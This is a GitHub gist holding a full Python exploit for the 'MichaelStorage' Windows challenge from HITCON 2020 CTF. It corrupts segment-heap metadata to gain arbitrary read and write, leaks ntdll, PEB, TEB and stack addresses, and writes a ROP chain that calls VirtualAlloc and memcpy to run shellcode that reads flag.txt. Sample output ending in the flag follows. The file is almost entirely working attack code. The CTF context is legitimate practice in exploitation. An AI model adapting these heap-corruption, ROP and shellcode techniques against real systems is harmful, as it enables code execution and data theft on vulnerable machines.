Created
November 29, 2020 20:23
-
-
Save masthoon/50ad5ec5d1bb6b43286f414802a8688c to your computer and use it in GitHub Desktop.
MichaelStorage Exploit HITCON 2020
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
from pwintools import * | |
# Interact with binary | |
def act_alloc(type, size): | |
proc.sendline('1') | |
proc.recvuntil(':') | |
proc.sendline(str(type)) | |
proc.recvuntil(':') | |
proc.sendline(str(size)) | |
proc.recvuntil(': ') | |
def act_get(ids): | |
proc.sendline('3') | |
proc.recvuntil(':') | |
proc.sendline(str(ids)) | |
msg = proc.recvuntil(': ') | |
val = msg.split('Value:')[1].split('\r\n*****************************')[0] | |
return val | |
def act_set(ids, index, value, no_wait=False): | |
proc.sendline('2') | |
proc.recvuntil(':') | |
proc.sendline(str(ids)) | |
proc.recvuntil(':') | |
proc.sendline(str(index)) | |
proc.recvuntil(':') | |
proc.sendline(str(value)) | |
if not no_wait: | |
proc.recvuntil(': ') | |
def act_destroy(ids): | |
proc.sendline('4') | |
proc.recvuntil(':') | |
proc.sendline(str(ids)) | |
proc.recvuntil(': ') | |
# Utils exploit | |
def make_shellcode(filename, validaddr): | |
''' | |
h = OpenFile("flag.txt", anyvalidaddr, 0); | |
ReadFile(h, validaddr, 256, &anyvalidaddr); | |
puts(validaddr); | |
puts("force flush\r\n"); | |
''' | |
dll = "KERNEL32.DLL\x00".encode("utf-16-le") | |
dllucrt = "ucrtbase.dll\x00".encode("utf-16-le") | |
openfile = "OpenFile\x00" | |
readfile = "ReadFile\x00" | |
puts = "puts\x00" | |
sc = x64.MultipleInstr() | |
map(sc.__iadd__, [ | |
shellcraft.amd64.pushstr(dll), | |
x64.Mov("R13", "RSP"), | |
x64.Mov("RCX", "R13"), | |
shellcraft.amd64.pushstr(openfile), | |
x64.Mov("RDX", "RSP"), | |
x64.Call(":FUNC_GETPROCADDRESS64"), | |
x64.Mov("R10", "RAX"), | |
shellcraft.amd64.pushstr(filename), | |
x64.Mov("RCX", "RSP"), | |
x64.Mov("RDX", validaddr), | |
x64.Mov("R8", 0), | |
x64.Sub("RSP", 0x30), | |
x64.And("RSP", -32), | |
x64.Call("R10"), | |
x64.Mov("R11", "RAX"), | |
x64.Mov("RCX", "R13"), | |
shellcraft.amd64.pushstr(readfile), | |
x64.Mov("RDX", "RSP"), | |
x64.Call(":FUNC_GETPROCADDRESS64"), | |
x64.Mov("R10", "RAX"), | |
x64.Mov("RCX", "R11"), | |
x64.Mov("RDX", validaddr), | |
x64.Mov("R8", 256), | |
x64.Mov("R9", validaddr-0x10), | |
x64.Sub("RSP", 0x30), | |
x64.And("RSP", -32), | |
x64.Mov(x64.mem('[RSP+0x24]'), 0), | |
x64.Mov(x64.mem('[RSP+0x20]'), 0), | |
x64.Call("R10"), | |
shellcraft.amd64.pushstr(dllucrt), | |
x64.Mov("RCX", "RSP"), | |
shellcraft.amd64.pushstr(puts), | |
x64.Mov("RDX", "RSP"), | |
x64.Call(":FUNC_GETPROCADDRESS64"), | |
x64.Mov("R10", "RAX"), | |
x64.Mov("RCX", validaddr), | |
x64.Sub("RSP", 0x30), | |
x64.And("RSP", -32), | |
x64.Call("R10"), | |
shellcraft.amd64.pushstr("force flush\r\n\x00"), | |
x64.Mov("RCX", "RSP"), | |
x64.Call("R10"), | |
x64.Label(":HERE"), | |
x64.Jmp(":HERE"), # Dirty infinite loop | |
windows.native_exec.nativeutils.GetProcAddress64, | |
]) | |
return sc.get_code() | |
def ArbitraryWriteString(addr, content, no_wait=False): | |
act_set(1, -6, addr) | |
act_set(0, len(content), content, no_wait) | |
def ArbitraryReadString(addr): | |
act_set(1, -6, addr) | |
return act_get(0) | |
def ArbitraryReadPtr(addr): | |
act_set(1, -6, addr) | |
leak = act_get(0) | |
if len(leak) >= 8: | |
return u64(leak[:8]) | |
else: | |
if len(leak) == 0: | |
leak = '\0' | |
i = len(leak) | |
while i < 8: | |
read = ArbitraryReadString(addr+i) | |
if not read: | |
read = '\0' | |
leak += read | |
i += len(read) | |
return u64(leak[:8]) | |
def ArbitraryReadAndComparePtr(addr, to_cmp): | |
act_set(1, -6, addr) | |
leak = act_get(0) | |
if len(leak) >= 8: | |
return u64(leak[:8]) == to_cmp | |
else: | |
if len(leak) == 0 and (to_cmp & 0xff) != 0: | |
return 0 | |
if len(leak) >= 1 and ord(leak[0]) != (to_cmp & 0xff): | |
return 0 | |
if len(leak) >= 2 and ord(leak[1]) != ((to_cmp & 0xff00) >> 8): | |
return 0 | |
return ArbitraryReadPtr(addr) == to_cmp | |
# Launch process | |
# proc = Process("MichaelStorage.exe") | |
# proc = Remote("52.198.180.107", 56746) | |
proc = Remote("127.0.0.1", 56746) | |
proc.timeout = 5000000 | |
# proc.spawn_debugger(dbg_cmd='g') | |
# proc.spawn_debugger(dbg_cmd = '"bp ntdll!RtlpHpSegPageRangeCoalesce;g"') | |
time.sleep(2) | |
proc.recvuntil(': ') | |
act_alloc(3, 0x20000) # A chunk (id 0) | |
act_alloc(1, 0x200) # Type1 chunk (id 1) | |
act_alloc(3, 0x20000) # B chunk (id 2) | |
act_alloc(3, 0x20000) # C chunk (id 3) | |
act_alloc(3, 0x20000) # D chunk (id 4) | |
type1_offset = -0x411 | |
page_range_offset_C = 0x55 * 0x20 | |
# Corrupt the UnitSize and EncodedCommittedPageCount of chunk C to extend its size to C+D using the vuln | |
act_set(1, type1_offset + page_range_offset_C / 8 + 3, 0x4204ffbd00000103) | |
# Trigger Coalesce of C+D chunk (added to the free list with the size of C+D and D chunk pointer is dangling) | |
act_destroy(3) | |
# Fill old space (C) | |
act_alloc(3, 0x20000) | |
# Fill old space (VS before A) | |
act_alloc(3, 0xee80) | |
# Overlap with D :) | |
act_alloc(3, 0x10) # contains a pointer to heap | |
act_alloc(1, 0x200) # to trigger the vuln and fill D with padding | |
# Fill D with padding | |
for i in xrange(-0x15, -0xc): | |
act_set(7, i, 0x4242424242424242) | |
# Get the first heap leak :) | |
leak = act_get(4)[72:] | |
heap = u64(leak + '\0'*(8 - len(leak))) | |
print("Found heap at 0x{:x}".format(heap)) | |
# Leak process heap | |
process_heap = ArbitraryReadPtr(heap & 0xfffffffffff00000) | |
# Leak ntdll pointer | |
ntdll = ArbitraryReadPtr((process_heap & 0xfffffffffffff000) + 0x370) & 0xffffffffffff0000 | |
# Find ntdll base | |
while ArbitraryReadString(ntdll)[:2] != 'MZ': | |
ntdll -= 0x10000 | |
print('Found ntdll at 0x{:x}'.format(ntdll)) | |
# Read ntdll!TlsExpansionBitMap to find PEB | |
peb = ArbitraryReadPtr(ntdll+0x16b428) - 0x240 | |
# Find TEB in memory (should be close) may crash | |
validated = 0 | |
teb = peb + 0x1000 | |
while not validated: | |
teb_s = ArbitraryReadPtr(teb+0x30) | |
if teb == teb_s: | |
print("Found teb at 0x{:x}".format(teb_s)) | |
validated = 1 | |
else: | |
teb += 0x1000 | |
# Read stack base from teb | |
stack = ArbitraryReadPtr(teb+0x8) | |
print("Found stack at 0x{:x}".format(stack)) | |
# Leak main binary address from teb (ImageBaseAddress) | |
binary = ArbitraryReadPtr(peb+0x10) | |
# Read kernel32 address from imports (KERNEL32!ReadFile) | |
kernel32 = ArbitraryReadPtr(binary+0x3000) - 0x24ee0 | |
# Compute return address we want to corrupt | |
act_get_ret_addr = binary+0x209c | |
print("Looking for Get Value From Storage return address: 0x{:x}".format(act_get_ret_addr)) | |
# Go through the stack and find the return address | |
rip_found = False | |
stack_offset = -0x2c8 # random offset may not work | |
while not rip_found: | |
if ArbitraryReadAndComparePtr(stack + stack_offset, act_get_ret_addr): | |
print("Found stack offset at {} / 0x{:x}".format(stack_offset, stack_offset)) | |
rip_found = True | |
break | |
stack_offset -= 0x10 | |
# Prepare shellcode | |
shellcode_srcaddr = binary+0x5900 | |
shellcode_dstaddr = 0x4141000 | |
shellcode = make_shellcode("flag.txt", shellcode_dstaddr+0x1800) + "\x90\x90\xcc\xcc\0" | |
# Write shellcode using arbitrary write | |
print("Writing shellcode at 0x{:x}".format(shellcode_srcaddr)) | |
ArbitraryWriteString(shellcode_srcaddr, shellcode) | |
# Write ropchain using arbitrary write | |
print("Writing the ropchain 0x{:x}".format(stack + stack_offset)) | |
# Gadgets | |
pop_rcx = ntdll + 0x8DD2F | |
pop_rdx = ntdll + 0x6066d | |
pop2 = ntdll + 0x93179 # pop pop ret to align stack | |
pop_r8_r9 = ntdll + 0x8b6e2 # pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret | |
virtual_alloc = kernel32+0x18500 | |
memcpy = kernel32+0x2637B | |
ArbitraryWriteString(stack + stack_offset, | |
''.join(map(p64, | |
[ | |
pop2, 0, 0, | |
# VirtualAlloc(shellcode_dstaddr, 0x2000, 0x3000, 0x40); | |
pop_rcx, shellcode_dstaddr, # lpAddress | |
pop_rdx, 0x2000, # dwSize | |
pop_r8_r9, 0x3000, 0x40, 0, 0, # flAllocationType, flProtect, _, _ | |
virtual_alloc, | |
pop_r8_r9, 0, 0, 0, 0, | |
# memcpy(shellcode_dstaddr, shellcode_srcaddr, len(shellcode_srcaddr)); | |
pop_rcx, shellcode_dstaddr, # Dst | |
pop_rdx, shellcode_srcaddr, # Src | |
pop_r8_r9, len(shellcode), 0, 0, 0, # Size, _, _, _ | |
memcpy, | |
# shellcode_dstaddr() | |
shellcode_dstaddr, | |
0x414243444546, # dummy | |
])) | |
, True) | |
print('Open WireShark, the flag is not printed, the connection closes too fast :D') | |
proc.interactive() | |
proc.close() | |
''' | |
Found heap at 0x2132bf76080 | |
Found ntdll at 0x7ffc0b350000 | |
Found teb at 0x713f464000 | |
Found stack at 0x713f700000 | |
Looking for Get Value From Storage return address: 0x7ff633a1209c | |
Found stack offset at -2152 / 0x-868 | |
Writing shellcode at 0x7ff633a15900 | |
Writing the ropchain 0x713f6ff798 | |
Open WireShark, the flag is not printed, the connection closes too fast :D | |
hitcon{S3gm3nt_H34p_1s_th3_h34ven_F34l_4_u} | |
Enjoy another challenge lucifer ! | |
''' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment